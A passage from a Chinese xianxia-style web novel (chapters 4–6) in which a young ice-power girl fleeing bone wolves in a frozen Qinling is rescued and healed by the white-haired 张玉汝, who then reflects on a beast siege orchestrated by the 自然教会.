雍州不仅有源源不断涌入的异兽群,还有天人势力与本地世家的明争暗斗,更有先导会的布置。 但这正是他要来的地方,越是混乱复杂的局面,越能隐藏自己的踪迹,也越容易找到天人与先导会的破绽。 天边泛起鱼肚白时,张玉汝站起身,拍了拍衣角的尘土。朝阳从山巅跃出,金色的光芒洒在他身上,将他的影子拉得很长。 他深吸一口带着寒意的空气,目光坚定地望向北方,迈开脚步走进了雍州的群山之中。 第 4章 少女 十月的秦岭,本应是造物主肆意挥洒色彩的调色盘。 漫山的枫香树早已褪去盛夏的苍翠,枝桠间缀满了深浅不一的绯红,像是被秋日的暖阳吻过一般,从叶缘到叶脉,晕开层层叠叠的暖意;成片的鹅掌楸更显张扬,巴掌大的叶片舒展着明黄,在微风中轻轻摇曳,远远望去,仿佛山间铺着无边无际的金毯,耀眼得让人移不开眼;而那些扎根在山脊与沟壑间的松杉,则依旧坚守着墨绿的底色,笔挺的枝干刺破天际,与绯红、明黄交织在一起,织成了一匹绵延百里的斑斓锦缎,每一寸都透着秋日独有的热烈与厚重。 山涧的溪流也应和着这秋意,顺着青石河床缓缓流淌。 溪水清冽得能看见水底圆润的鹅卵石,以及偶尔掠过的几尾小鱼,它们摆动着银亮的尾鳍,在光影中留下转瞬即逝的痕迹。水流撞击着岩石,发出 “潺潺” 的轻响,像是大自然哼着的温柔歌谣,将秋日的静谧悄悄晕开。 清晨时分,山间会升起一层薄薄的雾,那雾不是冬日里刺骨的寒雾,而是带着暖意的轻纱,轻轻裹住山腰与树梢,等到太阳从东边的山坳里探出头,金色的阳光穿过薄雾,便会在山腰织出朦胧的光带,光影交错间,连空气里都飘着淡淡的草木清香,让人心旷神怡。 可今年,这片本该被秋意浸透的山地,却被一股突如其来的寒气彻底改写了模样。 那寒气并非秦岭本土所有,而是从遥远的雪域高原裹挟而来,带着冰原的凛冽与决绝,一路翻越山川,最终扑向这片本该温暖的土地。 那些来自雪域高原的畜生们 —— 它们身形壮硕,皮毛厚密,带着高原生物特有的凶悍 —— 不仅仅是自己踏破了秦岭的宁静,入侵了这块原本属于本土生灵的土地,还将雪域高原的寒冷气候一并带了过来。 它们所到之处,寒气似乎变得更加浓烈,原本还在潺潺流淌的山涧溪流,一夜之间便结上了薄冰,冰层下的水流变得迟缓,再也没了往日的灵动;那些还未来得及完全凋零的枫香树叶与鹅掌楸树叶,被寒气冻得发脆,风一吹便簌簌落下,只剩下光秃秃的枝桠在寒风中颤抖;就连山间的岩石,也被寒气裹上了一层薄薄的白霜,摸上去冰冷刺骨,没了往日的温润。 如今的秦岭,已是一片冰天雪地、银装素裹的景象。远处的山峰被厚厚的白雪覆盖,只露出黑色的山脊线条,像是一幅简约的水墨画;近处的树林里,每一根枝桠上都积着雪,仿佛挂满了白色的珊瑚,远远望去,倒也别有一番纯净的美感。 可这份美感,对于身在其中的人们来说,却是十足的灾难。 腊月的寒风裹着冰碴子,像淬了冷铁的刀子般刮在脸上,每一次呼吸都带着针扎似的疼。 少女怀里紧紧攥着那把断了弦的木弓,弓梢的裂痕还沾着冻土的黑泥,她踉跄着冲进这片枯死的橡树林,枯枝在头顶交错成狰狞的网,将仅存的微光切割得支离破碎。 靴底在覆着薄冰的地面上狠狠打滑,她下意识蜷起脚趾抠住鞋底,才勉强没摔个正着。 裤腿早已被林间的荆棘划开好几道口子,破碎的布片挂在腿上,渗出血珠的伤口暴露在寒风里,每一次迈步都像有无数根细针在扎肉,疼得她太阳穴突突直跳。 身后的 “咔嗒咔嗒” 声越来越近,那是异兽 “骨狼” 的爪子踩在冻土上的声响 —— 每一声都带着骨头摩擦的干涩,像是死神在耳边摇着丧钟。 少女能清晰地想象出那双枯爪的模样:灰黑色的皮膜紧紧裹着嶙峋的骨节,爪尖泛着青白色的寒光,每踩一下都能在冰面上留下深深的划痕。 她不敢回头,甚至不敢放慢呼吸,只能拼命伸出冻得发僵的手,扒开眼前交错的枯枝。 粗糙的枝干划破了她的脸颊,一道血痕顺着下颌线往下淌,火辣辣的痛感混着冰冷的风,让她在几乎要晕厥的过度劳累中,硬生生拽住了最后一丝清醒。 “呜 ——” 一声低沉的咆哮突然从斜后方传来,那声音像是从生锈的风箱里挤出来的,带着令人牙酸的戾气。 少女眼角的余光飞快扫过,只见一抹灰影从枯树后猛地窜出,蓬松的皮毛下凸起的骨头轮廓清晰可见 —— 是第二只骨狼! 这只骨狼比之前追来的那只更显凶悍,肋骨从灰黑色的皮毛里高高支棱出来,像是随时会刺破皮肤,嘴角不断淌着粘稠的绿色涎水,落在地上时还冒着细小的白泡。 它那双浑浊的黄眼睛死死盯着少女,瞳孔缩成细窄的竖线,像两条锁定猎物的毒蛇,连眨眼都透着致命的贪婪。 “糟了!” 少女心脏骤然缩紧,几乎是凭着本能向左侧扑倒。冰冷的地面撞得她手肘发麻,可她顾不上疼 —— 下一秒,骨狼带着腥风的利齿就擦着她的肩头掠过,尖牙甚至刮破了她的衣襟,留下几道深褐色的牙印。 然而躲避的动作让她失去了平衡,后背重重撞在粗壮的橡树干上。“咚” 的一声闷响,胸腔里的空气被瞬间挤空,她张着嘴却吸不进半口气,剧烈的咳嗽顺着喉咙往上涌,每一次震动都牵扯着肋骨生疼,让她几乎喘不上气。 骨狼落地时带起的腥臭味扑面而来,那味道像是腐烂了半个月的尸体混着生锈的铁器,还裹着一股说不清的酸腐气,呛得少女头晕目眩,胃里翻江倒海般直想作呕。 她能看到骨狼正缓缓转过身,绿色的涎水顺着嘴角往下滴,每一步都走得极慢,像是在玩弄即将到手的猎物。 “必须快跑…… 不能在这里死……” 少女咬着牙,用短刀撑着地面勉强撑起身体,右手下意识摸向腰间 —— 那里挂着一把磨得发亮的短刀,是父亲生前用的武器。 刀身已经卷了刃,刀刃上还沾着几缕发黑的异兽血,凝固的血痂让刀刃看起来有些斑驳,可此刻,这把破旧的短刀,已经是她能抓住的唯一希望。 脚下的积雪没到了小腿肚,每抬一次脚都像往靴子里灌了铅,沉重得让人心头发紧。 冰晶钻进破损的裤管,贴着皮肤融化成冰水,顺着腿缝往下淌,冻得肌肉都在微微抽搐。 少女的呼吸越来越急促,白雾从唇间涌出,很快又消散在凛冽的寒风里,肺部像是被塞进了一团冰,每一次吸气都带着针扎似的疼。 身后的骨狼依旧没有发起进攻,那“咔嗒咔嗒”的骨节摩擦声始终跟在三米开外,不远不近,像极了巷口玩弄老鼠的猫——既不急于扑杀,又不肯给猎物半分喘息的机会。 少女攥着短刀的手沁出了冷汗,冻得发僵的指尖几乎要握不住刀柄。 她太清楚这些异兽的习性了,它们在等,等她体力耗尽,等她再也迈不动一步,等她像断了线的木偶一样倒在雪地里,然后慢条斯理地撕开她的皮肉,把她的骨头啃得干干净净。 所以她不能够停在这里,她要继续走下去,寻找新的机会。 就这样,一人三狼在漫天飞雪中僵持着前行,枯树林的影子渐渐被甩在身后。 可就在少女拼尽全力想找到新的藏身之处时,前方的景象却让她浑身的血液瞬间冻结——一片开阔地突兀地出现在眼前,地面覆盖着厚厚的积雪,尽头竟是一道被冰雪包裹的断崖。 崖边的矮树丛早已失去了生机,枝桠上裹着一层厚厚的冰壳,冻得像晶莹的冰雕,风从崖底呼啸着灌上来,卷起地上的雪沫子,发出“呜呜”的呜咽声,那声音尖利又悲凉,仿佛有无数冤魂在深渊里嘶吼,听得人头皮发麻。 少女猛地刹住脚步,积雪在脚下溅起半尺高,她僵硬地转过身,正好对上追来的三只骨狼。 它们呈扇形慢慢逼近,灰黑色的皮毛上沾着雪粒,喉咙里不断发出“咕噜咕噜”的威胁低吼,粘稠的绿色涎水滴落在雪地上,瞬间融化出一个个黑色的小坑,还冒着细微的白泡,散发出令人作呕的酸腐味。 最左边的那只骨狼突然停下脚步,弓起后腿,肌肉在皮毛下紧绷成一道弧线,像一把拉满的弓弦,浑浊的黄眼睛死死盯着少女,瞳孔里映着她狼狈的身影,满是贪婪与凶狠。 “来了!”少女的心猛地提到了嗓子眼,她握紧腰间的短刀,冰冷的刀柄贴着掌心,却没能带来半分安全感。 心脏在胸腔里疯狂跳动,“咚咚”的声响几乎要冲破喉咙,震得耳膜嗡嗡作响。 她死死盯着那只蓄势待发的骨狼,连呼吸都下意识放轻,全身的肌肉都紧绷起来,做好了应对冲击的准备。 就在骨狼后腿蹬地、猛地扑起的瞬间,少女几乎是凭着本能向左侧翻滚。 积雪被她压出一个深坑,冰冷的雪沫子钻进衣领,冻得她一个激灵。 与此同时,她手中的短刀顺着骨狼的腹部狠狠划过,刀刃虽然卷了刃,却依旧划破了它粗糙的皮膜。 “嗷——”骨狼发出一声凄厉的惨叫,绿色的血液喷涌而出,溅在洁白的雪地上,像骤然绽放的诡异花朵,带着腥臭的气息弥漫开来。 可这伤势并没有让它退缩,反而激起了另外两只骨狼的凶性。它们喉咙里的低吼变得更加狂暴,几乎是同时弓起身子,猛地向少女扑来。 腥臭的风扑面而来,少女甚至能看清它们牙缝里残留的深褐色碎肉,以及嘴角滴落的绿色涎水。 她被逼得连连后退,脚下的积雪越来越松,就在她准备再次侧身躲避时,脚后跟突然踩空——身下是空荡荡的悬崖,没有半分支撑。 身体瞬间失去平衡,少女惊惶地挥舞着手臂,指尖划过冰冷的空气,却什么都抓不住。 失重感像潮水一样袭来,她甚至能听到耳边风的呼啸声,以及骨狼兴奋的低吼。 就在这千钧一发之际,她的手臂突然撞到了什么东西,紧接着,她死死抱住了身边一棵半枯的小树。 树干不算粗壮,树皮粗糙得磨得手心生疼,在她的拉扯下发出“嘎吱嘎吱”的呻吟,仿佛随时都会断裂。 少女悬在半空,脚下是深不见底的悬崖,寒风从崖底往上灌,吹得她身体不停摇晃,冻得她牙齿都开始打颤。 崖边的三只骨狼围了上来,它们站在悬崖边缘,贪婪地盯着悬在半空的少女,绿色的涎水顺着嘴角滴落,正好落在少女的手背上,冰冷刺骨,还带着一股刺鼻的腥臭味。 少女能清楚地看到它们眼中闪烁的凶光,那是一种胜券在握的残忍,仿佛已经把她当成了囊中之物。 绝望像冰冷的潮水一样,从脚底蔓延到头顶,淹没了她的四肢百骸。 她下意识地摸了摸腰间,却发现右手的短刀不知何时已经掉落在雪地里,此刻正插在悬崖边的积雪里,刀柄露在外面,却怎么也够不到。 她只能用冻得发紫的手指,死死抠着树干粗糙的树皮,指甲缝里渗进了木屑和冰碴,疼得她几乎要落下泪来。 骨狼的爪子在头顶的树干上抓挠着,“咔哧咔哧”的声响格外刺耳,木屑纷纷扬扬落在少女的脸上,混着雪沫子,让她睁不开眼。 “就这样结束了吗?”一个念头在她脑海里浮现,疲惫和寒冷让她几乎要松开手。 就在她闭上眼睛的瞬间,父亲临终前的话语突然在耳边响起,那声音沙哑却坚定:“活下去,小雪,一定要活下去……” 泪水瞬间涌出眼眶,混着脸颊上未干的血水,顺着下颌线往下淌,刚落到下巴尖,就被寒风冻成了细小的冰碴,硌得皮肤生疼。 她咬着牙,指甲因为用力而泛出惨白,指节微微颤抖,却依旧没有松开树干——她还不能死,她答应过父亲,要好好活下去。 可就在这时,崖边的积雪突然“哗啦”一声塌落,几块碎冰顺着悬崖往下掉,发出“叮叮当当”的声响。少女下意识地睁开眼,只见那只腹部受伤的骨狼正拖着伤腿,一步步向悬崖边缘挪来。 它的绿色血液在雪地上拖出一道长长的痕迹,浑浊的黄眼睛里满是怨毒,张开的嘴里能清楚地看到参差不齐的利齿,还沾着一丝绿色的血沫。 死亡的阴影瞬间笼罩下来,少女甚至能闻到它嘴里喷出的腐臭气息,那味道比之前更浓烈,几乎要让她窒息。 骨狼停在悬崖边,低下头,死死盯着悬在半空的她,喉咙里发出威胁的低吼,仿佛下一秒就要扑上来,把她一起拖进万丈深渊。 第 5章 得救 其实她本不该落得如此境地。 时间回到两个时辰前,她还缩在山腰那座破败的山神庙里,就着檐角漏下的碎光啃着半块硬邦邦的麦饼。 庙顶破了个大洞,积灰的泥塑神像半边脸塌着,露出里面朽坏的木骨,寒风从墙缝里钻进来,卷起地上的干草屑,扑在脸上带着细碎的痒。 麦饼是三天前从一处临时形成的聚居地换来的,咬下去硌得牙床发疼,可她还是小口小口嚼着——这是她仅剩的干粮,得省着吃。 指尖无意识摩挲着腰间短刀的木柄时,她透过庙墙的破窗缝,瞥见了山脚下的河谷。 河谷两岸生着成片的秦岭箭竹,此刻竹叶早已枯黄,只剩下光秃秃的竹竿裹着薄冰,在寒风里发出“咯吱”的轻响。 枯黄的芦苇丛依偎着竹丛,被风压得弯下腰,丛里缩着十几个衣衫褴褛的人。 最外面的汉子裹着满是补丁的单衣,肩膀冻得不停打颤,指节因为用力攥着枯竹枝而泛白。 几个孩子躲在中间,小脸冻得发紫,鼻涕挂在鼻尖上,却不敢哭出声音;其中一个妇人怀里抱着个不足周岁的婴孩,用自己满是破洞的棉袄紧紧裹着孩子,后背因为恐惧而剧烈颤抖,鬓边的碎发上结着一层薄薄的冰碴。 少女的指尖顿了顿,恍惚间想起什么——她对母亲的记忆很模糊,只记得三岁那年,母亲也是这样抱着她,身上有淡淡的草木香,只是那温度和气息,在十几年的生活当中已经逐渐消散了。 如今眼前这妇人的模样,像极了父亲偶尔提起的、母亲护着她时的样子,让她心头莫名一紧。 然而河谷的出口,正被三只骨狼堵住。 它们灰黑色的皮毛上沾着雪粒和干枯的竹屑,肋骨在皮下高高凸起,像是随时会刺破皮肤,细长的舌头正一下下舔舐着尖锐的獠牙,涎水滴落在冻土上,留下一个个深色的小坑。 其中一只骨狼突然抬起头,浑浊的黄眼睛扫过芦苇丛,喉咙里发出低沉的咕噜声,显然已经把那些手无寸铁的流民,当成了唾手可得的囊中之物。 少女深吸一口气,掌心泛起极淡的青霜——她是一名初级能力者,能力不算强,最多只能在指尖凝结出薄冰刃,或是在脚下冻出一层防滑的冰面,遇上凶悍的骨狼,这点本事几乎不够看。 可她没法移开目光,尤其是看到那妇人把孩子往怀里又紧了紧时,父亲教她“乱世要先顾好自己”的叮嘱,和眼前流民的无助在脑海里撞成一团。 最终,她猛地站起身,从墙角抓起一块拳头大的石头,指尖因为用力,边缘凝结出细细的冰碴。 “喂!丑东西们!”她将石头狠狠砸向河谷边最近的那只骨狼——石头擦过对方的耳朵,砸在枯竹上发出“咚”的闷响,震得竹枝上的冰碴簌簌掉落。 骨狼吃痛,猛地转头,黄眼睛瞬间锁定了山神庙的方向,凶光毕露。 少女趁机往庙外跑,故意在满是积雪的山坡上重重踩了几步,脚下悄悄凝出一层薄冰,既没让自己打滑,又故意弄出“哗啦”的积雪滑落声,扬着嗓子喊:“我在这里!有本事来追啊!” 骨狼果然被这突如其来的挑衅激怒了。 领头的那只仰起头,发出一声尖锐的咆哮,原本盯着芦苇丛的目光瞬间转移到少女身上——在它们眼里,这个主动送上门的“能力者猎物”,显然比躲在丛里的流民更有营养。 三只骨狼放弃了唾手可得的目标,迈着“咔嗒”作响的骨爪,嘶吼着向山坡扑来。少女转身就跑,耳边传来流民们惊惶的呼喊,还有妇人带着哭腔的“姑娘快跑”。 她不敢回头,甚至不敢放慢脚步——她不知道流民们能不能趁机逃走,只能拼尽全力把骨狼引向更远的地方,远离那个藏着老弱的河谷。 跑过一片枫香树林时,她指尖悄悄凝出冰刃,割断了垂落的枯枝,试图阻碍身后的追兵。 可这些骨狼的速度远比她预想中快,脚掌踩在积雪里几乎听不到太多拖沓声,而且它们像是永远不知疲倦,哪怕翻过高坡、穿过枯林,也始终紧紧跟在身后。 绿色的涎水甩在雪地上,留下一道恶心的痕迹。 她的呼吸渐渐乱了,之前为了引开异兽而频繁动用能力,此刻体内的能量已经所剩无几,指尖的青霜越来越淡,腿肚子开始发酸,每一次迈步都像是在跟灌了铅的双腿较劲。 现在后悔已经来不及了。 急促的喘息从唇间溢出,白雾在眼前散开又迅速消失,胸口因为缺氧而阵阵发疼,像是有块冰坨子堵在里面。 之前被荆棘划破的裤腿下,伤口在寒风和汗水的浸泡下,疼得像是有无数根细针在扎,她甚至能感觉到温热的血正顺着小腿往下淌,在靴筒里凝结成冰渣。 力气正顺着伤口和耗空的能量一点点流逝,指尖开始发麻,握着短刀的手也越来越沉,指节因为用力而泛出惨白,还出现了细微的颤抖。 异兽的嘶吼声越来越近,那股混杂着腐肉和铁锈的腥臭味,几乎凝成了实质,钻进鼻腔里,呛得她喉咙发紧。 终于,她被堵在了这片开阔的雪地中央——身后是深不见底的悬崖,崖边的秦岭冷杉枝桠上积满了雪,像披了件白衫;身前是三只呈三角之势逼近的骨狼。 它们的步伐很慢,像是在享受猎物最后的挣扎,灰黑色的皮毛下,嶙峋的骨节随着动作轻轻凸起,涎水顺着锋利的獠牙往下滴,落在雪地上发出“滋滋”的轻响,瞬间腐蚀出一个个小小的黑坑,还冒着微弱的白气。 最前面的那只骨狼突然停下脚步,猛地低伏身体,前爪在雪地上轻轻刨了两下,留下几道深深的划痕,后腿的肌肉在皮毛下绷紧成一道坚硬的弧线,像是一张即将射出的弓。 它的黄眼睛死死盯着少女,瞳孔缩成一条细线,里面映着她狼狈的身影,满是残忍的兴奋——它知道,这一次,猎物再也跑不掉了。 少女闭上眼睛,深吸了一口带着雪粒的冰冷空气,眼泪却不受控制地涌了出来,顺着脸颊往下淌。 她不是害怕死亡——从父母双亡、独自在秦岭山脉里挣扎求生的那天起,她就知道死亡随时可能到来。 可她想起了父亲临终前的模样,那时父亲的胸口插着异兽的利爪,鲜血染红了他的粗布衣裳,却还紧紧抓着她的手,声音微弱却坚定:“小雪,活下去,活着才有希望……一切都会好起来的……” 她答应过父亲的,要好好活下去,要等到冰雪消融、草木发芽的那天,可现在,她好像要食言了。 利爪破空的风声已经在耳边响起,尖锐得像是要划破空气。少女能清晰地感觉到死亡的阴影正迅速笼罩下来,带着骨狼身上那股浓烈的腥臭味。 她咬紧牙关,猛地睁开眼,指尖最后一次凝聚起微弱的白霜,裹在短刀的刀刃上,举起这把卷了刃的武器——就算死,她也要在这些怪物身上多划一道伤口,要拉着它们一起下地狱。 可就在骨狼的利爪即将碰到她肩膀的瞬间,一阵奇异的波动突然从远处的冷杉林深处传来。 那波动很淡,却带着一种难以言喻的威压,像是平静的冰湖突然落下一颗石子,扩散出圈圈涟漪。 少女甚至能感觉到自己指尖的冰霜微微震颤,原本冰冷刺骨的空气,似乎都泛起了一丝极淡的暖意。 而那三只即将扑上来的骨狼,像是突然被抽走了所有的凶性,齐刷刷地停下动作,猛地转头望向树林深处,耳朵紧紧贴在脑袋上,喉咙里发出不安的呜咽声,之前的凶狠荡然无存,只剩下浓浓的恐惧,连尾巴都下意识地夹了起来。 少女眼中的疑惑还没来得及散去,冷杉林深处便传来一阵极轻的脚步声——不是骨狼那种“咔嗒”作响的骨节摩擦声,而是布料擦过枯枝的窸窣声,轻得像雪粒落在衣领上。 下一秒,一名青年男子从树影里走了出来,墨色衣袍在寒风中轻轻摆动,竟没有沾半点雪沫。 少女看得有些发怔——这秦岭的寒冬,就连裹着三层棉袄的人都会冻得嘴唇发紫。 可这青年只穿了件单薄的墨色衣袍,衣料看着轻薄,却仿佛能隔绝所有寒气,他裸露的手腕在冷空气中泛着淡淡的瓷白,连一丝瑟缩都没有,仿佛眼前的冰天雪地于他而言,不过是寻常春日。 更让她诧异的是他的模样:明明是张年轻的脸,眉骨清俊,下颌线清晰利落,可一头乌黑的发丝里,却掺着不少醒目的白发,像是冬雪落在墨色的枝桠上,既透着少年一般的干净,又藏着说不清的沧桑,两种气质在他身上奇异地交融,让人猜不透年纪。 青年刚一出现,围着少女的三只骨狼便像是被烫到一般,瞬间收住了扑击的动作,浑浊的黄眼睛齐刷刷转向他,之前对着少女的凶狠荡然无存,只剩下警惕的紧绷。 为首那只腹部带伤的骨狼,甚至下意识往后退了半步,绿色的涎水顺着嘴角往下淌,却不敢再往前迈一步,只是微微伏下身子,喉咙里发出“咕噜咕噜”的低吼,獠牙露在外面,像是在做最后的警告。 可青年压根没把这警告放在眼里。他的目光扫过骨狼时,眉梢轻轻挑了挑,嘴角勾起一丝极淡的嘲笑,那笑意里没有半分惧意,反而像是在看几只胡闹的野狗,带着一种近乎漠然的轻蔑。 直到他的视线落在悬在崖边、还抱着树干的少女身上时,那抹笑意才骤然收敛,眼底掠过一丝不易察觉的波动,像是平静的冰面被风吹皱了细纹。 少女还没看清他的动作,便见青年张了张嘴,似乎说了什么——风太大,她没听清声音,只觉得眼前一花,原本还在十米外的人,竟瞬间出现在了自己面前。 墨色衣袍带起的风拂过她的脸颊,没有半分寒意,反而带着一丝温润的气息。 下一秒,她的手腕便被一只温热的手握住,对方的力道不重,却带着不容置疑的稳,轻轻一拉,便将她从悬着的半空拉回了崖边的雪地。 直到双脚重新踩在坚实的雪地上,少女才后知后觉地听到刚才青年口中的声音——那是两个极轻的字,像是落在冰上的玉珠,清冽又清晰:“刹那。” 话音刚落的瞬间,三道寒光突然闪过,快得让人看不清轨迹。 少女只听见“噗嗤”三声轻响,像是利刃划破皮革的声音,紧接着,便是三头骨狼头颅落地的闷响。 绿色的血液喷溅在雪地上,瞬间冻结成暗绿色的冰晶,而那三具失去头颅的骨狼尸体,还维持着前扑的姿势,僵硬地倒在雪地里,连挣扎的痕迹都没有。 少女惊得睁圆了眼睛,手指下意识攥紧了短刀——她甚至没看清青年是如何出手的,这三头难缠的骨狼,竟连反应的机会都没有便丧了命。 “枯荣。”青年的声音再次响起,比刚才多了几分温和。 话音落下时,他抬起另一只手,指尖萦绕起黑白二色的能量,像是两股缠绕的溪流,黑色的能量带着淡淡的朽意,白色的则泛着温润的光,二者交织着,轻轻落在少女身上。 起初只是一阵极淡的暖意,顺着皮肤往四肢百骸里钻,驱散了冻得发僵的寒意。 紧接着,少女便惊讶地发现,之前被荆棘划破的脸颊、小腿上渗血的伤口,还有被树干撞得发疼的后背,那些尖锐的痛感竟在飞速消退。 她低头看去,只见小腿上的伤口正以肉眼可见的速度愈合,结痂的血痕渐渐变淡,最后只剩下一点淡淡的粉色印记,连疤痕都没留下。 脸上火辣辣的灼痛感也消失了,伸手一摸,皮肤光滑如初,之前冻得发紫的指尖,也重新泛起了血色。 不过短短几秒钟的功夫,她身上所有的伤便全都好了。 虽然衣襟上还沾着雪沫和尘土,头发也乱得像团草,显得有些灰头土脸,可体内的疲惫感早已散去,原本耗空的能量也回来了大半,连呼吸都变得顺畅起来,状态堪称完美。 少女张了张嘴,想问些什么,却又不知该从何问起——眼前这青年,还有他那匪夷所思的能力,都远远超出了她的认知。 第 6章 信任 少女的指尖还攥着那把卷了刃的短刀,指节因为紧张微微泛白——她还没理清满脑子的疑问。 这青年是谁?为何会出现在这荒无人烟的寒林?那“刹那”“枯荣”的低语,还有瞬间斩杀骨狼、治愈伤势的能力,又是什么来头? 可话到嘴边,却又卡在喉咙里,不知该先问哪一句,只能低着头,盯着自己沾满雪沫的靴尖,耳尖因为刚才的紧张还泛着红。 就在她纠结着该如何开口时,身旁的张玉汝反倒先打破了沉默。 他的声音比刚才斩杀骨狼时温和了许多,像是雪后初晴的阳光,落在耳边带着淡淡的暖意:“你现在感觉怎么样?还有什么不舒服的地方吗?” 话刚说完,他自己倒先顿了顿——方才用“枯荣”之力修复少女伤势时,他早已感知到她体内的气息:原本紊乱的气血已经平稳,外伤尽数愈合,连之前耗空的冰霜之力都恢复了大半,此刻的她,除了衣衫上的尘土,几乎没有任何不妥。 这句问候,其实有些多余,可看着少女还紧绷着的肩膀、眼底未散的惊魂,他还是下意识问了出口。 少女闻言,缓缓地抬起头,撞进张玉汝带着关切的目光里。 他的白发在雪光下泛着柔和的光泽,之前面对骨狼时的漠然与锐利荡然无存,只剩下淡淡的温和,让她莫名松了口气。 她轻轻摇了摇头,声音还有些微的发哑,却比刚才清晰了许多:“我现在感觉很好,就像……就像从来没有受伤一样。” 她说着,还下意识动了动之前被划伤的手臂——没有丝毫痛感,连之前因为过度用力而发酸的肌肉,都变得轻盈起来,指尖甚至能重新凝聚起淡淡的白霜,那是她的力量彻底恢复的征兆。 听到这话,张玉汝紧绷的眉梢终于舒展开来,嘴角勾起一抹浅淡的笑容。 这笑容比刚才面对骨狼时的嘲笑柔和太多,像是冰雪初融时,枝头悄悄绽开的第一缕春意,连他眼底的沧桑都淡了几分。 他抬手,轻轻拂去少女肩头沾着的一片碎雪,动作轻柔得像是怕碰碎了什么:“没事就好。这秦岭近来不太平,你一个小姑娘,独自在外要多当心。” 张玉汝的目光缓缓下移,先落在少女衣角沾着的尘土与草屑上——那是在林间奔逃时蹭上的,深色的污渍在浅色衣料上格外显眼,还有几处被荆棘勾破的裂口,露出里面单薄的内衬。 而后,他的视线又落在她紧攥短刀的手上:那双手指节纤细,还带着未脱的稚气,可手背和指缝间,却布满了深浅不一的冻疮疤痕,有的已经结痂泛黑,有的还透着新鲜的红,连虎口处都磨出了厚厚的茧子,显然是独自在风雨里受了太多苦,才练出这样一双握刀的手。 他心里轻轻叹了口气,那声叹息很轻,混在寒风里几乎听不见,只有眉梢的弧度柔和了几分,语气温顺得像是怕惊扰了枝头落雪:“这里离崖边近,刚又有骨狼出没,地上的血迹还没冻透,太危险了,不适合你久留。” 他顿了顿,目光重新落回少女脸上,带着几分真切的关切继续问道,“你家里人在哪?要是顺路,我把你送过去,也好让他们放心。” “家里人”三个字刚落,少女的指尖便猛地一颤,短刀的木柄在掌心硌出一道浅浅的红印。 她垂了垂眼帘,长长的睫毛在眼下投出一小片阴影,目光落在雪地上——那里留着她刚才慌乱的脚印,深浅不一,单薄得像片被风吹得歪歪扭扭的枯叶,连半点依靠的痕迹都没有。 林间的风又吹了过来,卷起地上的雪沫子,扑在她的脸颊上,带着细碎的凉。 她沉默了片刻,才缓缓抬起头,声音比刚才低了些,像是蒙了一层薄雪,带着不易察觉的涩意:“我……现在没有家人了。” 这话很轻,轻得像雪粒落在衣襟上,却像一块小石子,猝不及防投进了张玉汝的心湖。 他脸上的温和僵了一瞬,喉结不自觉地动了动,那些涌到嘴边的话突然卡住,竟一时语塞。 他走南闯北这些年,见多了乱世里的生离死别,流民的哀嚎、孤儿的啼哭,早已不是新鲜事,可此刻看着眼前少女眼底藏不住的落寞——那不是大哭大闹的悲恸,而是一种习惯了的、藏在骨子里的孤单,他忽然觉得,所有安慰的话都格外苍白。 说“节哀”吗?太轻了,轻得撑不起她独自走过的路;说“以后会好的”吗?又太假了,在这异兽环伺、资源匮乏的情况下,“好起来”三个字,简直像个遥不可及的幻影。 最终,所有话都化作一阵沉默,只有寒风卷着雪粒,在两人之间轻轻打着转,把空气都衬得有些沉。 张玉汝很快回过神,知道不能让这沉默继续下去——那样的安静太磨人,怕会勾得她想起更多难过的事。 他轻轻吸了口气,放缓了语气,刻意换了个轻松些的话题,继续问道:“那你平时在哪里生活?总不能一直待在山里吧?这寒冬腊月的,山里太凶险。” 少女轻轻摇了摇头,抬手拂去落在发间的雪沫,指尖的动作很轻,像是怕碰掉了什么易碎的东西。 她的声音渐渐恢复了平稳,只是还带着一丝不易察觉的疲惫:“平时就在汉中城附近的流民聚集地生活,那里有汉中城搭的救助房,虽然简陋,至少能挡挡风雪。” “只是最近不知怎么了,”她顿了顿,眼神里多了几分困惑与不安,握着短刀的手又紧了紧。 “城外的异兽越来越多,不光是骨狼,还有些从来没见过的怪物,总围着城池打转,城门半个月前就封了,不让随意进出。聚集地的存粮也快吃完了,大家都快断炊了,我才想着进山碰碰运气,看看能不能找些冻住的野果,或是设陷阱逮只小猎物,没成想……” 说到这里,她的声音顿住,想起刚才被骨狼追得几乎坠崖的惊魂时刻,忍不住攥紧了拳头,指节泛出淡淡的白。 张玉汝听着,眉梢轻轻蹙了起来,原本舒展的眉心拧出一道浅痕。 他近来一直在秦岭深处追查异常气息,倒没留意山下城池的境况,此刻听闻汉中城被异兽围城,眼底瞬间掠过一丝凝重。 寻常异兽习性分散,绝不会如此大规模聚集,还主动围攻人类城池,想来这秦岭的异动,比他之前预想的还要复杂些。 张玉汝垂眸望着雪地上凝结的冰晶,指尖掠过一片沾雪的冷杉叶,思绪不由自主飘向近来在秦岭山脉的见闻。 这些日子穿行在冰封的山谷与枯林间,他见过各种各样的异兽:有体型壮硕的“岩熊”在枫香树间乱撞,厚重的皮毛上结着冰碴,只为寻一处能避寒的岩缝。 有成群的“雪鼬”沿着河谷游荡,尖细的爪子扒开冻硬的土层,啃食着早已干瘪的草根充饥;还有些低阶的“刺蜥”,甚至会为了争夺一块冻僵的腐肉,用背上的骨刺互相撕咬,绿色的血液滴在雪地上,瞬间冻成暗绿色的冰珠。 它们大多没有明确的方向,只是顺着本能向温度稍高的区域扩散,像一群被寒风驱赶的流民,混乱却无章法,眼中只有生存的本能。 可关键城池的境况,却与这些散养的异兽截然不同。无论是三日前路过的陈仓城,还是此刻被围的汉中城,那些围攻城池的异兽都带着明显的组织性。 它们会分批次封堵城门,低阶异兽守在前方吸引守军火力,中阶异兽则从侧后方挖掘冻土,试图破坏城墙根基;遇到人类布置的陷阱,还会有异兽主动上前触发,用同伴的尸体铺出通路。 这种近乎“战术”的行动,绝不是异兽凭本能能做到的。 经过他暗中追查,这些有组织的异兽行动轨迹里,总能找到“自然教会”的痕迹:或是在战场遗迹里发现刻着藤蔓图腾的木牌,或是在异兽尸体上检测到残留的“御兽法”气息——那是自然教会独有的术法,能短暂操控异兽的心智,让它们成为杀戮的工具。 这倒不算意外。 张玉汝轻轻呼出一口气,白雾在眼前散开。 这场突如其来的异兽入侵,本就是自然教会对“先导会”的反扑——双方在神州大地上争斗了数千年,去年元天成破坏了自然教会的百年大计后,这种带着报复意味的反扑,早已在他的预料之中。 真正让他在意的,是那些游离在自然教会控制之外的异兽。 它们不围攻城池,却总在人类聚居地周边游荡:有时突袭偏远村落的粮囤,有时偷袭流民聚集地的取水队,像是在一点点蚕食人类的生存空间。 